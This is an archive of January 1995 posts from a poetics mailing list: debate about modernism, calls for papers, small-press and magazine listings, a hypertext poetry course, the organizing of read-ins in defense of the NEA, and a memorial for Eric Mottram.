to my students and colleagues. I like theEqui poem and what it proposes. Locate me there.

(2)
From: IN%"[redacted]" "Paul Lauter" 8-JAN-1995 17:47:48.97
Subj: Poetry at the Margins

I want to pick up on one of Ron Silliman's side comments, which criticized me for making what he called "a gratuitous (and completely reductive) slap at the avant-garde tradition (w/o recognizing it as the only 'international' literary

tradition the world has ever had)." Ron is certainly right in criticizing the offhand way I criticized the tradition of Eliot and Pound, and many of their successors. One shouldn't do that in a sentence, any more than one should attack the equally pernicious impact of abstract expressionism and its apologists, like Hilton Kramer, in a sentence. I didn't want to repeat what I had written at length elsewhere--there's one piece coming out in an NCTE volume edited by Jim Slevin and Art Young and another in the next issue of the Yale J of Crit. In both I reflect on the powerful hold that the critical tradition derived from Eliot, Pound, Ransom, Brooks, etc. has had even on those of us committed to a revisionist canon. I think that hold is most of all demonstrated in the New Critical ways in which poetry continues largely to be taught, especially in secondary schools. And in the ways we conceive--even in a revisionist anthology like the HEATH--literary/ historical conceptions like "modernism." Here it's worth considering the other post, from an unnamed high school teacher, that appeared with Ron's post. The teacher mourned the fact that his or her students don't share a great deal of the culture assumed even by relatively approachable poets like Frost. Thus the teacher is put in the position of being the class expert--nothing wrong with that, as such, and probably inevitable in many situations. Yet for students, in my observation, that turns poetry into a puzzle to which an observably more "mature" person has the key, rather than into a form in which they may participate. I think the result of this dynamic is to create among many and perhaps most students a kind of fear and loathing, a sense that poetry, writing in general, is something done by people other than themselves, different from them, distant from them. And that, it seems to me, is precisely the intent of Eliot's form of modernism--see, for example, his comments on the special qualities of the poet's "sensibility" in "The Metaphysical Poets." Eliot's point, I would argue (after Adreas Huyssen in "Mass Culture as Woman: Modernism's Other," AFTER THE GREAT DIVIDE), is precisely to create the critical and teaching apparatus that underwrites the elite forms of poetic practice he helped develop. This is still a shorthand form of the argument, to be sure. And one can speculate about Eliot's psychology--as in "Tom and Viv"--or about the conservative politics he shared with the founders of the New Criticism. Those are interesting issues, to be sure. But here I only want to suggest that the continuing impact of this tradition is to help create distance between many people who pass through the educational system and those forms of language designated within it as "poetry." Underlying the argument is, of course, the question of what we agree to call "poetry." It's the issue Cary Nelson powerfully joins by, for example, quoting H.H. Lewis' little argument about material conditions and consciousness: Here I am Hunkered over the cow-donick,
Earning my one dollar per And realizing, With goo upon overalls,

How environment works up a feller's pant-legs to govern his thought. (Thinking of Russia) Let's leave it at that for the time being.

Paul Lauter

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51. Rachel DuPlessis c/o
Call for MLA Papers / 20th c. American Division
Tue 10 Jan 1995

Call for Papers

Twentieth-Century American Division

1995 Modern Language Association

Three topics:

1. The Literary and Cultural Constructions of Twentieth-Century "Whiteness."
2. Creolization, Hybridity, Syncretisms and Mixings--theory and practice.
3. The Zone of Walden. Hybrid genres--essay, poetic essay, essay-poem.

Deadline: Submit up to a two-page abstract, with affiliation and one paragraph brief biographical note by March 15 to

Program Chair: Rachel DuPlessis
English Department, 022-29
Temple University
Philadelphia, PA 19122

or 211 Rutgers Avenue
Swathmore, PA 19081-1715

Phone inquiries to (h) [redacted]. Sorry no e-mail. Persons must be MLA members to offer papers. Persons may undertake one paper per MLA. The 1995 MLA will be in Chicago.

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52. Mark Wallace
possibilities for readings
Wed 11 Jan 1995

We've got a number of reading series going on in Washington, D.C. these days and are always interested in readers. No money to offer at this time, but anyone who's thinking about coming through should contact me via e-mail, and I'd be happy to see what I can do.

Mark Wallace

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53. James Sherry
Re: New Electronic Poetry Center Features
Wed 11 Jan 1995

LOSS, I notice a lot of back and forth about instructions. Having done this kind of thing for a living, I suggest you might get a good result from have a standard bulleted format for instructions, so you don't have to rely on anyones' intelligence.... to put it mildly.

If this of any use...

James

On Mon, 9 Jan 1995, Loss Glazier wrote:

> *You mention Web features, but there's no http url listed.*
>
> *Tom,*
>
> *World-Wide Web and Mosaic Access:*
> *For those with World-Wide Web (lynx) or Mosaic access,*
> *from your interface, choose the go to URL*
> *option then go to (type as one continuous string)*
> *gopher://writing.upenn.edu/11/internet/*
> *library/e-journals/ub/rift*
>
> *Perhaps I should be clearer in this "flyer" I regularly send out but the url you would enter would start with "gopher" in the expression above. Try it; it works! In fact the web version has begun to evolve as much more useful. (Why the dichotomy in terms, I don't know but apparently you don't have to have an http to have web access.) If any snags, please feel free to let me know, on or off the list. For those with a graphical interface, there are increasingly more graphics, etc., as in decorating the home.*

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54. Loss Glazier
Re: New Electronic Poetry Center Features
Wed 11 Jan 1995

> *LOSS,*
> *I notice a lot of back and forth about instructions. Having done this kind of thing for a living, I suggest you might get a good result from have a standard bulleted format for instructions, so you don't have to rely on anyones' intelligence.... to put it mildly.*

James,

This is a wonderful thought! The problem is the old thinking-on-your- feet angle. In other words, things are changing so fast that it's not only the challenge but the luxury and joy of maintaining such a "center."

Dichotomies seem to be the crux of the issue. We originally designed everything for gopher but as the Web grew, that became preferable. And the small details, now able to load numerous graphics and sound files into the system, it's incredible to watch it grow. It's not just the challlenge but the thrill of it.

Now, even as we discuss this, I learn that an http address will have been shortly instituted. So an announcement there will be shortcoming!

Only to say I try to stay on it, here we go, and the present possibilities are immense...

Best wishes,
Loss

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55. Kali Tal
Re: Listings
Wed 11 Jan 1995

Hi, folks. I've been meaning to respond to Charles Bernstein's invitation to post information about our press at least since October, but haven't had the time or energy to sit down and write up a proper description until now.

Viet Nam Generation, Inc. is a small literary and educational nonprofit 501(c)(3) corporation. I founded it in 1988 when I was a grad student in American Studies. Viet Nam Generation, Inc. was founded to support the publication of an interdisciplinary journal, _Viet Nam Generation_, dedicated to providing a forum for scholars, artists and activists interested in the 1960s in the U.S. and internationally. Now the journal is entering its seventh volume-year. In 1990 we started publishing a line of monographs, fiction and poetry related, in some fashion, to our subject area of the 1960s. We've currently got 27 titles in print (including those forthcoming in 1995). I was joined in my endeavors by my partner Dan Duffy (in 1991) and Steve Gomes (in 1993). We continue to work full-time on a volunteer basis, but hope to be stable enough to pay small salaries by the end of 1995.

Viet Nam Generation, Inc. also sponsors the Sixties Project, a collective of scholars interested in the 1960s, housed at the Institute of Advanced Technology in the Humanities at the University of Virginia, Charlottesville. As part of the Sixties Project we maintain the electronic discussion list SIXTIES-L.

POETICS readers might be interested in the publications listed below. As you'll notice, many of the books are in our "White Noise" series. I think we may be the only press admittedly publishing middle-aged white guys as an ethnic group. Our other series is titled "Widespread Panic," and features a variety of poets whose work is distinguished by its confrontational nature....

Best,
Kali Tal
Viet Nam Generation, Inc./Burning Cities Press
18 Center Rd., Woodbridge, CT 06525
FAX: 203/[redacted]
Email: [redacted]

VIET NAM GENERATION/BURNING CITIES PRESS POETRY PUBLICATIONS

Viet Nam Generation: A Journal of Recent History and Contemporary Culture. Accepts poetry submissions. We're looking for work which can be at least loosely related to the 1960s in subject matter, influence, politics, or form. Length is no object--we've published everything from short-shorts to 30-page cycles. We usually produce double-issues, so the journal effectively comes out twice a year, averages 220pp, perfect bound, with no advertising. There are only three of us reading all poetry submissions and responding to authors, so it sometimes takes us a while (up to 4 months) to respond. We publish 15-20 poets in an issue. Sample copies are available for $15 each.

AMATO, JOE. _Symptoms of a Finer Age_. 92 pages, perfect bound, paper, 4-color cover, forthcoming March 1995. White Noise #5. ISBN: 1-885215-12-6. Joe will no doubt blush when he reads this (hi Joe!), but we think the world of him. Joe teaches English and composition at the Illinois Institute of Technology. His technical expertise is combined with passion, a fine ear for language, and a strong sense of social justice. Reading his work is like watching a skilled professional put on a stunning display of Fourth of July fireworks--even the most cynical can't help being taken in by the magic. We figure that 25 or 30 years from now, when the lit critters look back and marvel at the wealth of talent that Viet Nam Generation, Inc. has managed to assemble, we'll be most appreciated for showcasing Joe....

BARKER, DAN, _Warrior of the Heart_. 276 pages, perfect bound, paper, 2-color cover, 1992. ISBN: 0-9628524-7-3. $15. When Dan Barker's manuscript came "over the transom," we knew it was the answer to our publishing prayers. What arrived that day was one of the finest Viet Nam war narratives that we'd ever read. And we'd read hundreds. We never did figure out if _Warrior of the Heart_ was poetry or prose, and we don't really care. It's fucking beautiful, and it doesn't flinch. Dan Barker served as a naval corpsman attached to the Marine

Corps in Viet Nam. He is the founder and director of The Home Gardening Project, which has built over 1,100 raised-bed vegetable gardens for the aged, disabled and single-parent families of Portland, Oregon.

CHRISTOPHER, RENNY, _Viet Nam and California_. 82 pages, perfect bound, paper, 2-color cover, forthcoming September 1995. Widespread Panic #2. ISBN: 1-885215-13-4. Renny's poems are strong and straightforward. They tell the story of a woman's coming-of-age in the period during and after the Viet Nam war, and of her relationships with several Viet Nam veterans. These spare portraits are grounded in Renny's solid sense of herself as a woman with working-class roots.

COLEMAN, HORACE, _In the Grass_. 84 pages, perfect bound, paper, 2-color cover, forthcoming October 1995. Widespread Panic #3. ISBN: 1-885215-17-7. Horace is an African-American rebel poet. His early Viet Nam war poetry was featured in the first collections assembled by W.D. Ehrhart and First Casualty Press, and his poem gave the title to Ehrhart's _Carrying the Darkness_ anthology. Over the years Horace's tongue has sharpened and his anger has been refined into the razor bite of _In the Grass_. This is a long overdue collection of his work.

CONNOLLY, DAVID, _Lost in America." 72 pages, perfect bound, paper, 2-color cover, 1994. White Noise #1. ISBN: 1-885215-00-2. $12. David Connolly was born, raised, and still lives in South Boston. He was a nineteen-year-old infantryman in Viet Nam--the product of a close Irish Catholic, pro-IRA, working class family. During his year at war he became sick at heart over what his country was doing to a people whose lifestyle and struggle he came to see as being closely related to that of his own heritage. A quarter of a century later, Connolly still makes those connections with passion and power. We just put this book out, so the reviews haven't started to filter back to us yet, but David gave a reading at a conference we held in November and in December we got 15 orders for his book from professors who wanted to use it in literature courses.

EHRHART, W.D., _Just for Laughs_. 84 pages, perfect bount, paper, 4-color cover, 1990. ISBN: 0-9628524-0-6. $10. By his writing and editing, W.D. Ehrhart made it possible to be a Viet Nam veteran writer. By his continued work, Ehrhart has become the conscience and inspiration for those who have been sparked into literature by seeing the American war machine on parade. _Just for Laughs_ brings poems addressing Ehrhart's return to Viet Nam, his marriage and family life, and the American wars in Central America. The final poems of this book summon Ehrhart's nightmare past as a Marine in Viet Nam, and evoke his pessimism about the future, from a sense that embraces the present with care and fear. "W.D. Ehrhart continues to deserve recognition,

perhaps more than any other, as the Vietnam author in his generation who in fact made the idea of such a thing possible in the first place." --Philip D. Beidler, _Re-Writing America: Vietnam Authors in their Generation_.

JAFFE, MAGGIE, _Continuous Performance_. 64 pages, perfect bound, paper, 2-color cover, 1990. ISBN: 0-9628524-6-5. $10. Maggie Jaffe, peace activist and poet, interrogates the images of empire that form American ideals of war. She places "Viet Nam" in a continuum of aggression that begins with the Pilgrim Fathers and extends through the secret wars of the 1980s and 1990s. Her short poems are connected to the historical record by direct reference and opinionated statement. "Maggie Jaffe's new poems expose the rot behind the baby pink veneer of our image makers. Her verse is boldly political, her human commitment passionate and profound." --Marianne Hauser. "_Continuous Performance_ stands out as a testimony that Maggie Jaffe was not silent, when the times demanded that poets write about important issues." --Jon Forrest Glade, _American Book Review_.

LIEBLER, M.L., _Stripping the Adult Century Bare_. 88 pages, perfect bound, paper, 2-color cover, forthcoming March 1995. White Noise #6. ISBN: 1-885215-09-6. $12. M.L. has been called a cross between T.S. Eliot and Ward Cleaver. He is a professor of English at Wayne State University, a small press publisher, and a social activist. His Magic Poetry Band regularly performs in his home town of Detroit, and occasionally tours. _Stripping the Adult Century Bare_ is an anthology of Liebler's new and older verse, focusing on the impact of the 1960s on his life. His heroes are Jesus and John Lennon. "M.L. Liebler is a tremendous source of poetry energy in the The Motor City and beyond." --John Sinclair. "M.L. Liebler is a complex mix of poet, university professor, performance poet, Lollapalooza performer and Christian writer... he has played a vital role in keeping the poetry scene alive during its dark days of the 70s and 80s." --_The Detrois News_. "M.L. Liebler is a piece of the reality poetry needs to stay alive. Alive, and kicking, not forgetting the hurt Americans inflict on themselves, each other, and the world--but ready to fight, and sing, the song of hope. He is a beacon! More power to Mike, and to the republic (of poetry and love) for which he stands." --Alice Ostriker

MCCARTHY, GERALD, _Throwing the Headlines_. 72 pages, perfect bound, paper, 2-color cover, forthcoming April 1995. White Noise #4. ISBN: 1-885215-12-6. $12. Gerald McCarthy is well known to those who study the soldier-poets of the Viet Nam war. This collection spans two decades of McCarthy's work and is an important new contribution to the field of Viet Nam war poetry. The poems in _Throwing the Headlines_ reflect McCarthy's continuing passion for peace and justice.

QUINTANA, LEROY, _Interrogations_. 102 pages, perfect bound, paper, 4-color cover, 1990. ISBN: 0-9628524-5-7. Introduction by Yusef Komunyakaa. $10. The cover of this book features a watercolor made from a snapshot of Quintana's Long Range Reconnaissance Patrol. The short poems inside make art of the brief glimpses of his tour in Viet Nam. The collection of sharp, sudden poems from Viet Nam mounts to a longer moral address to then-President Bush, written just after the Gulf War. Introduce yourself to the details of jungle fighting, the perspective of a Chicano soldier, and the mature view of a poet who was a soldier once. "The characters in _Interrogations_ have been given genuine depth, and in a few succinct lines they emerge as sharply defined human beings...." --Jon Forrest Glade, _American Book Review_.

RICHMAN, ELLIOT, _Walk On, Trooper_. 92 pages, perfect bound, paper, 2-color cover, 1994. White Noise #2. ISBN: 0-9628524-9-X. $12. Elliot Richman published his first poem in 1984, when he was forty-two years old. Since then, his work has appeared widely in the small press. In 1993 he was awarded fellowships for his poetry by both the NEA and the New York Foundation for the Arts. Asylum Arts has published is two previous collections, _The World Dancer_ and _Honorable Manhood_. Not a veteran, Elliot has probably published more individual poems about the Viet Nam war in more literary magazines than almost any veteran writer. His passion and preoccupation (some might even say obsession) fascinated us, and we felt that we needed to collect his Viet Nam war poems and publish them under one cover. Bill Shields, cowboy poet and hardcore combat vet (_Southeast Asian Book of the Dead_ and _Human Shrapnel_) has this to say about Elliot's work: "_Walk On, Trooper_ is one fucking real book. A straight walk into the beast with eyes wide open; it is the best--and I mean the best--book I've seen on the Viet Nam war. He went into hell to write it." We don't know if we completely agree with Bill, but we're sure that _Walk On, Trooper_ is mesmerizing.

RITTERBUSCH, DALE, _Lessons Learned_. 82 pages, perfect bound, paper, 2-color cover, forthcoming July 1995. White Noise #7. ISBN: 1-885215-08-8. $12. Dale Ritterbusch began writing the poems in this volume over twenty years ago, while sitting in a class on M-60 emplacement in OCS at the Infantry School at Fort Benning. He's been writing ever since. Ritterbusch teaches English at the University of Wisconsin-Whitewater. His poetry came to our attention through the recommendation of W.D. Ehrhart, who discovered Dale years ago, while Ehrhart was compiling the poetry for the anthology _Carrying the Darkness_. A version of _Lessons Learned_ received a publication grant in 1984 from the Ohio Arts Council, but the pressn which had committed to producing the book folded before it could be published. We are proud to produce a long-delayed volume which we are sure will become an instant classic of Viet Nam war literature.

VANCIL, DAVID, _The Homesick Patrol_. 72 pages, perfect bound, paper, 2-color cover, forthcoming June 1995. White Noise #3. ISBN: 1-885215-15-0. $12. David Vancil served in Vietnam in 1969 in Khanh Hoa Province as a military advisor. He is a rare books librarian and small press publisher. David is the author of an earlier volume of poetry titled _The Art School Baby_, and is working on a memoir titled _The Sanest Man in Vietnam_. His verse is disciplined and elegant, the work of careful literary artist.

Make check or money order payable to Viet Nam Generation, Inc. All individual orders must be prepaid. We accept purchase orders from bookstores and libraries. Shipping is included in the price. We do not accept returns unless books are received in damaged condition.

Orders Dept.
Viet Nam Generation, Inc.
18 Center Rd., Woodbridge, CT 06525
FAX: 203/[redacted]
email: [redacted]

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
18 Center Rd., Woodbridge, CT 06525
203/[redacted]; fax 203/[redacted]
email: [redacted]

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56. Susan Clark
RADDLE MOON listing
Thu 12 Jan 1995

RADDLE MOON listing

Here's some information on current and future issues of *Raddle moon*. Thanks to Charles Bernstein for suggesting these listings.

The expanded editorial collective is currently reading manuscripts;
we are especially interested in looking at image/text,
collaborative work, "engaged criticism" (these terms!
try: poetics of criticism [ref. Spahr et al]; see e.g. most reviews
and essays recently published in RM), long works,
translation-based work, and work by women.

Susan Clark
[redacted]

****

RADDLE MOON (Vancouver)

edited by Susan Clark
with new editors (beginning #13):
Catriona Strang, and Lisa Robertson

and new contributing editors:
Nicole Brossard (in Qu bec); and
Norma Cole (in San Francisco)

****
CURRENT ISSUES:
****

RADDLE MOON 13 (available):

new work by Vancouver writers Dan Farrell, Christine Stewart & Paul Mutton; and Calgary writer, Yasmin Ladha

the second round of the Women/Writing/Theory project
with contributions by Chris Tysh, Johanna Drucker, Jean Day,
Susan Clark, Abigail Child, & Juliana Spahr;

an excerpt from the Lyn Hejinian/Leslie Scalapino
collaborative project *Sight*;

three Dante translations by Bruce Andrews (from *EARTH*);

work by Sianne Ngai and Juliana Spahr;

reviews of Dahlen and Samuel Beckett

****

RADDLE MOON 14 (forthcoming, spring, '95):

work by Vancouver writers Deanna Ferguson, Gerald Creede,
Dorothy Trujillo Lusk, Lissa Wolsack, Judy Radul (cover image),
and (former Vancouverite) Kevin Davies;

two long pieces by Bob Perelman, "A False Account of Talking with Frank O'Hara and Roland Barthes in Philadelphia" [late night on the heaven channel] and "The Manchurian Candidate: a remake";

multi-language poems and image/text pieces from Anne Tardos;

and others.

****

RADDLE MOON 15 (open for submissions):

special section on younger French women writers,
edited by Stacy Doris and Norma Cole;

photo-based images by Rhoda Rosenfeld

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COVER ART : We are soliciting images for our covers.
Our bias is photographic and photo-based work.
Please note: our new size is: 6 1/4 " x 8 " with 4" french flaps;
cover images wrap around, so can be various
proportions/dimensions with a maximum 8" height.
Please query first.

****

SUBSCRIPTIONS are $12 for one year (two issues)
Single issues are $7; most back issues are $6 (tables of
contents, details on request)

Cheques/checks should be made out to RADDLE MOON.
Submissions and subscriptions should be addressed to:

Raddle Moon Press
2239 Stephens St., upstairs
Vancouver, BC
V6K 3W5 Canada

US POSTAGE : through the kindness of another small press in the city, RADDLE MOON has access to the US Mail via Pt. Roberts, Wa. and can reply using your US postage if you cannot supply IRCs with your SAE.

LIBRARIES can be asked to subscribe to periodicals. (Library subscribers who are patient and faithful and don't move every two years are a great boon to small publishers; getting your library the most useful things you can do to extend the life of your favourite magazine[s].)

Libraries may subscribe through subscription services
such as Faxon, Ebsco, McGregor, SMS, or a number of others.

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.... next posting will do GIANTESS, our "casual irregular" .....

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57. krickjh
Congress again
Thu 12 Jan 1995

Jim Warren, proprietor of the GovAccess list, published this in his latest mailing:

<from a kindly US House of Representatives (H.I.S.) email specialist>

To obtain a current list of Representatives available via email send an email
message to the following address:
[redacted]

Or, you can also peruse our gopher service in the House Email Addresses
category at:
gopher.house.gov

To learn the e-mail addresses of your Senators you will need to contact them
directly at [redacted].

House Web and Mosaic access is at:
WWW = www.house.gov

Hope this helps.

John Krick

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58. Robert Drake
HyperText Poetry course (forwarded message)
Thu 12 Jan 1995

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forwarded message:

Message #294 (298 is last):
Date: Wed Jan 11 18:33:25 1995
From: [redacted]
Subject: Course In Hypertext Poetry

Robert Kendall will be teaching a class in hypertext fiction and poetry in the Spring 95 term at the New School for Social Research in New York, NY. The class will also be offered in the summer and fall as part of the New Schools

Distance Instruction for Adult Learners (DIAL) program, in which all instruction takes place on-line.

Kendall would like to hear from anyone at other schools that offer classes in hypertext or interactive literature. He's interested both in exchanging ideas about teaching such a class and in exploring ways his students could exchange work with students in similar programs.

HYPERTEXT POETRY AND FICTION
Robert Kendall
12 Tuesday evening sessions beginning Jan. 31, 1995.

This course will provide an introductory survey of published interactive poetry and fiction that uses the computer monitor as its medium instead of the printed page. It will also be a workshop for students to create their own writing in this new genre. Students will explore

- how the resources of the computer--hypertext, kinetic text, decision-making algorithms, randomization functions, graphics, and audio--can take literature in new directions not possible in print.

- how poems and stories can assume nonlinear, reader-determined structures that emulate the dynamic nature of actual human experience, memory, and thought processes.

- how the computer can combine the written tradition of literature with elements of its oral tradition, such as real-time performance (with or without musical accompaniment), improvisation, and audience interaction.

Students will learn Storyspace, a program for creating hypertext, and will create and discuss their own hypertext stories and poems. The course will also cover opportunities for disseminating interactive literature through the burgeoning new field of electronic publishing.

Phone or fax registration for the class is accepted until Jan. 23, in-person registration until Feb. 7.

For more information about the course, contact Robert Kendall at: [redacted]

For information about registration phone
The New School for Social Research at [redacted]
or send a fax to [redacted]

For information about the on-line program write:
The DIAL Program
The New School for Social Research
68 5th Ave., 3rd Fl.
New York, NY 10011

---------- Mark Bernstein
[redacted] Eastgate Systems, Inc. voice: [redacted] 134 Main St
Watertown MA 02172 USA fax: [redacted]

---

end forwarded message

lbd

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59. Steve Evans
Defense of NEA
Sat 14 Jan 1995

In light of recent indications that the Republican controlled 104th Congress intends to summarily eliminate Federal funding for the arts, Jennifer Moxley and I have begun organizing an event that we would like to make known to the participants on this list.

We are organizing in Providence, and we invite members of this list to organize in their cities, a "read-in" on Saturday, January 28th. We are calling the event *Freely Espousing* and welcome the adoption by others of that name. We are inviting artists, writers, publishers, scholars, students, and interested citizens to manifest their support for National Arts Funding by participating in a 5 hour read-in (1-6 pm EST) of materials partly or fully funded by the National Endowment for the Arts. We are scheduling speakers at roughly the midway point in the reading, probably from 3-4 that afternoon. If interest warrants, we will stretch both the reading and the speaking component of the event by several hours. We plan to distribute a petition and also pre-fab postcards (probably the ones The Literary Network is producing) at the event.

Two weeks is a mercilessly short time in which to organize an event, but the debate on the Balanced Budget Amendment (beneath which rubric we've been told the NEA-NEH's fate will be decided) is scheduled to begin on Tuesday, January 24th. If we do not act immediately, what slim chance we have of affecting the outcome will be entirely pre-empted. Indeed, the opponents of the NEA/NEH have a clear majority on this issue and the RI Democrats that I spoke with (including people at the office of Senator Pell, architect of the NEA

legislation in 1965) seem resigned to losing the Endowment. The message I got was, with Social Security on the block, no one is going to go to the wall for art.

Jennifer and I chose *Freely Espousing* as the name for this event not only for its resonance in our poetic tradition, but also because the Republican attempt to completely bypass democratic procedure in their 100-day dash to the right is deeply offensive to us. Indeed, although organizing and participating in this defense of the NEA may not save the program, it could be a small but important step toward de- legitimating Newt Gingrich's show of legislative thuggery. Our message should be: this assault on the arts is symptomatic of a cynical and despicable disregard for democracy on the part of Gingrich, Dole, and their followers in the House and Senate (not to mention the Governors). We must oppose their secrecy with openness, their arrogance and greed with generosity and solidarity.

Jennifer and I have had tentative discussions with people in San Diego and San Francisco about organizing parallel events on January 28th. While it is not imperative that all events take place on the same day or follow the same program, it does lend a certain credibility (as well as giving local media another "angle" on their coverage) to be able to cite other places around the country where people are convened for the same purpose.

If anyone reading this post has some time to spare in the next two weeks (or knows of someone who does but isn't on this list or even on the Internet), Jennifer and I would welcome communication either via e-mail ([redacted]. brown.edu) or phone [redacted]. If you are willing to participate, but don't have the time to coordinate the event, let us know and hopefully we'll be able to put you in touch with someone where you are. From our standpoint, self-organization is the best solution, but we want to keep communication lines open so people in one area can act with knowledge of what others, in other areas, are doing.

While Jennifer and I share the misgivings others on this list have voiced about the NEA's unresponsiveness to valid poetic work, we believe that dismantling what should be further democratized is not an acceptable alternative. The fight for the NEA should simultaneously be a fight to make it responsive to your concerns as writers, artists, and, in the case of the NEH, scholars.

We hope to hear from some of you in the next days. Happy New Year!

Steve Evans and Jennifer Moxley
61 E. Manning St., Providence RI 02906-4008
[redacted]

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60. Steve Evans/Jennifer Moxley

Freely Espousing

Sun 15 Jan 1995

Regarding our announcement of *Freely Espousing,* an event in defense of the NEA to take place on January 28th, we can now provide names and phone numbers for contact persons in two West Coast cities.

Craig Foltz is the San Diego contact. His phone number is [redacted]. Craig graduated from UCSD and is currently in the MFA program at San Diego State. He co-edits a zine called)39.

Kevin Magee is the San Francisco contact. His phone number is [redacted]. Kevin's book, *Tedium Drum,* was recently published by Lyric&. Kevin and his partner, Myung Mi Kim, have just started a monthly *Salon de Refuse* in SF and have been kind enough to let us build off the organization already in place because of their iniative.

Craig and Kevin have undertaken to serve as initial points of contact and organization in their respective cities, but both could use a hand--especially from people in their areas with access to the Internet. If you are interested, either contact them directly, or send a post to us and we'll put you in touch with them.

We hope to have established contact people in other cities in the next few days. If there is a critical mass of already (or *almost*) organized writers & artists in your area, please consider mobilizing with us on the 28th.

Finally, we are trying to build a list of texts that in some way exist because of NEA monies so that people can begin compiling materials for the "read-in." If you can take ten minutes to scan your minds and libraries for work that can be included on a skeleton-list of such

texts, your suggestions would be greatly appreciated. Just post to us off-list and we will make sure a master copy gets compiled and distributed to the contact people in various cities.

Thanks to everyone and remember, Freely Espouse today or Forcibly Emigrate tomorrow.

Jennifer Moxley & Steve Evans
[redacted]

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61. Charles Bernstein
Eric Mottram: In Memorium
Mon 16 Jan 1995

Martin Luther King, Jr. Day, 1995
3:45pm NYC time

Eric Mottram died this morning in London. Tom Raworth just phoned me, just while Allen Fisher was phoning Pierre Joris, both telling us that Eric had died four to five hours ago from multiple infections. He had been hospitalized a day or two ago.

Eric turned 70 on this past December 29.

From the introduction to *Alive in Parts of this Century: Eric Mottram at 70*, just out from North and South Press:

"Eric Mottram is one of the most important figures of post-war literature and teaching. He was the first to teach Beat writing in Europe in the 1950s, the first teacher of American Studies at the University of London, and a co-founder of the Institute of United States Studies in the University of London in 1963. He edited Poetry Review in 1972-75, ran the King's Poetry Series in 1967-80 and co-edited The New British Poetry (1988). He has had two dozen collections of poetry published since the late 1960s including *Elegies*, *A Book of Herne* and *Selected Poems*. [*Selected Poems (1989) *Alive in Parts of This Century*, both from North and South, are available from Small Press Distribution.] His essay collections include *The Algebra of Need*, the first essay full study of William Burroughs, and *Blood on the Nash Ambassador*, a selection of essays.

An indefatigable supporter of the most adventurous, inventive, and socially engaged poetry of the UK and USA, Mottram introduced at least two generations of poets to poetry hidden from view by the a literary establishment, on both sides of the Atlantic that, in Mottram's words, promoted a conformist

poetry decoration and decorum. Mottram's own uncompromising poetry demonstrated how poetry can be political without sacrificing formal investigation. As Pierre Joris wrote of Eric's poetry -- this is work of "gut passion, crystal clarity of intellect."

For *Alive in Parts of This Century*, Pierre Joris chose lines (almost all) from Eric Mottram's work for his contribution. (The format of the poem was disrupted in e-conversion; it should be flush right.)

HOMAGE/COLLAGE FOR ERIC MOTTRAM @ 70

1. ...I am searching unceasingly for my own discovery"
2. it takes leisure to be a man is revolution
3. granddad, why are they all whispering?
4. this is not what I want to do, I want to know
5. an image an open hand with things in it
6. the result of composed ascent
7. concepts as modes of ordering
8. performance as what is revealed, moving outwards
9. the embryonic form of organisation
10. laughter of naked bathers
11. of transformed beings returned to the steep sea
12. break the mesh that grips us
13. an errand in wilderness
14. consult a good bookseller as to whether a book is
15. the fields of exchange
16. back there at origins a travelling forward soul springs up
17. the waterfall the illuminating gas
18. I hope this list will be regarded as an open
19. do you enter space from edges by intersecting lines
20. you eat light your eyes carry
21. a parenthesis of what is to be known
22. but a gun to show that he was a faithful private
23. in liberty a space of flame between us
24. Social roles, rituals, taboos, manners and conventions are boundaries of
25. their bark and moan songs of the story tellers
26. believe that in offering a candid account of himself he creates
27. to chose insecurity
28. gather surprise among limestone turf plants
29. The clearest example of work which actually leapt out of the area of
30. knows that the naturally depraved yearns to be a policeman
31. trample workers
32. Intelligent ones should generate the excellent Bodhi-mind

33. when creatures learn brain nucleic acids change
34. our nostrils move we stride on a hill curve air moves
35. from then on my road meets everymanUs road from the south of solitude
36. shieldless venture in adventure / we dare in the undaring sea
37. tracks laid down underwater
38. from seperate existence/this bites in my mouth your kiss
39. "Collage-design method is, as he puts it, 'transformation.' It is similar
40. neck erect for songs at a high level space/
41. on each cusp spandrel corbel lovers beside angels
42. have you woken up mad with information
43. against fluted pillars the grainy dark of news
44. "the subversions of his own power and confidence"
45. tokens of myself brought here up through clay and soil
46. so a tongue breaks words it assumed memorized
47. the balance acts refuse sacrifice the waste loneliness
48. from a man half through our wall strides towards us parts us / and
49. few leaves touch to live a difference of breath
50. satori
51. determined not to disappear
52. living in a world more or less homicidal and desperately mercantile
53. "gut passion, crystal clarity of intellect: two energies, two modes"
54. the work: encounter between and consolidation
55. he returns me to his head
56. here rewrite the message that is you
57. shaken by the fire and darkness of his time I lived the lives of others
58. friends we need to believe
59. whereby I lived, and moved, and had my being aboard the
60. media prisons through terrors of recognition
61. three kinds of silence and movement in the long wind-strung day
62. "Mottram demonstrates how poetry can be political without"
63. a liberation into power
64. of leisure without guilt
65. shards in winter Night in Tunisia
66. fertile to recognize resemblance
67. a man goes forth stops in the sun
68. beneath light surface fold on fold
69. we to whom the world is our native country
70. "figures always foreboded, awaited, and loved rise into view"

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62. Evans/Moxley
Re: Freely Espousing
Mon 16 Jan 1995

Two more cities now have contact people for
Freely Espousing on January 28th.

Jena Osman produced incredible results in
Buffalo, garnering a sponsor (National Association
of Artists Organizitions) and a site (Hallwalls
Gallery) within about thirty minutes on a legal holiday!
If you don't hear from Jena first, get in touch
with her via e-mail ([redacted])
or phone ([redacted]).

In Milwaukee, Woodland Pattern had already planned
a marathon fund-raising reading for the 28th. Bob
Harrison is discussing with them ways of linking
the events. He has also agreed to be a contact person
for Milwaukee. His net address is [redacted]. His phone numer is
[redacted] (home).

In San Diego, Cole Heinowitz has joined Craig Foltz
in organizing things. Craig's number remains the
one to use and we are currently working on hooking
them up with someone on the net.

Two people wrote in from the vicinity of University
of Virginia this afternoon, but neither felt they
were in a position to organize something. Does anyone
have a suggestion for a contact person in or near
Charlottesville?

Several people have asked about ways to identify
NEA recipients. The best way Jen and I have
found (besides gossip) is the *NEA Annual Report,*
in book form through 1990, fiche through 1993.
We found it in the Government Documents section
of Brown's library (call no. NF 2.1:993).

A quick scan of the 1990 awards yields many familiar
names, including Leslie Scalapino, Susan Howe, Steve
Benson, Jimmy Santiago Baca, Lawson Inada, and Rosmarie
Waldrop. Journals that received grants that year included
o-blek, Sulfur, Five Fingers Review, Conjunctions, Tyuonyi,
Callaloo and others. Among the publishers there were

Four Walls Eight Windows, Avenue B, Dalkey Archive, The Figures, Burning Deck. Small Press Traffic, Seque, Woodland Pattern, Beyond Baroque, Small Press Distribution, Minnesota Center for Book Arts, and the Poetry Project in NYC were all granted varying degrees of organization funding.

